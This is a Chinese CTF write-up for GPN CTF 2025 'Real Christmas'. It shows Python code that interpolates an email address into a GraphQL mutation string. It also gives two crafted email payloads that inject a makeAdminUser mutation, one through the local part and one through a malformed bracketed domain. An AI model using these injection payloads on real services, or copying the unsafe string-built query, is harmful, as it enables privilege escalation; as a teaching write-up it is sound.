当前位置: 首页 > news >正文

GraphQL注入 -- GPN CTF 2025 Real Christmas

part 1

服务器会每段时间禁用已注册的账号,此处存在漏洞

def deactivate_user_graphql(email):graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]query = f"""mutation {{deactivateUser (user: {{email: "{email}"}}){{   success             }}}}"""

服务器后端拥有一个提升权限的功能

# 设为管理员的Mutation
class MakeAdminUser(Mutation):class Meta:description = "Mutation to make a user an admin"  # 设为管理员的描述class Arguments:user = UserInput(required=True)  # 必须提供用户输入success = Boolean()  # 是否成功message = String()  # 返回信息def mutate(self, info, user):# 权限校验if (not info.context.headers.get("Key")== current_app.config["SERVICE_TOKEN_KEY"]):return MakeAdminUser(success=False, message="Unauthorized")# 查找用户db_user = Noneif user.get("id") is not None:db_user = User.query.filter_by(id=user.get("id")).first()elif user.get("email") is not None:db_user = User.query.filter_by(email=user.get("email")).first()if not db_user:return MakeAdminUser(success=False, message="User not found")db_user.is_admin = True  # 设为管理员db.session.commit()return MakeAdminUser(success=True, message="User made admin successfully")

根据 RFC 规范,电子邮件地址的本地部分(@ 前的部分)可以包含以下字符:

  • 大小写字母 (a-z, A-Z)
  • 数字 (0-9)
  • 特殊字符:!#$%&'*±/=?^_{|}~`
  • 使用引号括起来的字符串,可以包含空格和更多特殊字符

由此写出

"}){success}makeAdminUser(user: {id: 1}){#"@a.com

part 2

我们无法再传递id为参数,我们无法再利用邮箱前方,但是可以构造畸形的域名

a@["}) { success } makeAdminUser(user: {email: "(\")a@b.c"}) { #].c
http://www.lqws.cn/news/537607.html

相关文章:

  • Spring Boot高并发 锁的使用方法
  • 与 AI 聊天更顺畅:cat_code.py
  • [深度学习][python]yolov13+bytetrack+pyqt5实现目标追踪
  • 数据结构进阶 - 第九章 排序
  • Docker安装Mysql、配置文件挂载、修改Mysql编码
  • C2远控篇CC++SC转换格式UUID标识MAC物理IPV4地址减少熵值
  • 什么是谓词下推?
  • leetcode:50. Pow(x, n)(python3解法,数学相关算法题)
  • 苍穹外卖day3--公共字段填充+新增菜品
  • 桌面小屏幕实战课程:DesktopScreen 11 SPI 水墨屏
  • 超声波清洗机相对于传统清洗方法有哪些优势?
  • 博客系统测试报告
  • 互联网大厂Java求职面试:RAG系统架构设计与实战
  • 通达信 股道主力资金 幅图分析系统
  • 攻防世界-MISC-4-2
  • vue3 定时刷新
  • Python-8-模块和第三方库
  • 鸿蒙分布式数据管理:构建无缝跨设备体验的核心技术
  • php项目部署----------酒店项目
  • 《HarmonyOSNext应用崩溃自救指南:零数据丢失的故障恢复黑科技》
  • ubuntu20.04如何给appImage创建快捷方式
  • AMS流媒体服务器-新版(h265-flv)
  • 2.1、STM32 CAN外设简介
  • 使用 ReAct 框架在 Ollama 中实现本地代理(Agent)
  • CNN不是一个模型?
  • uniapp uni.chooseMedia 判断是拍摄还是相册 弹出权限说明
  • Rust与Go:GAN实战对决
  • 【stm32】HAL库开发——CubeMX配置外部中断和配置PWM
  • 大模型解码基础知识笔记
  • [自动驾驶-深度学习] PPliteSeg—基础部署(TensorRT)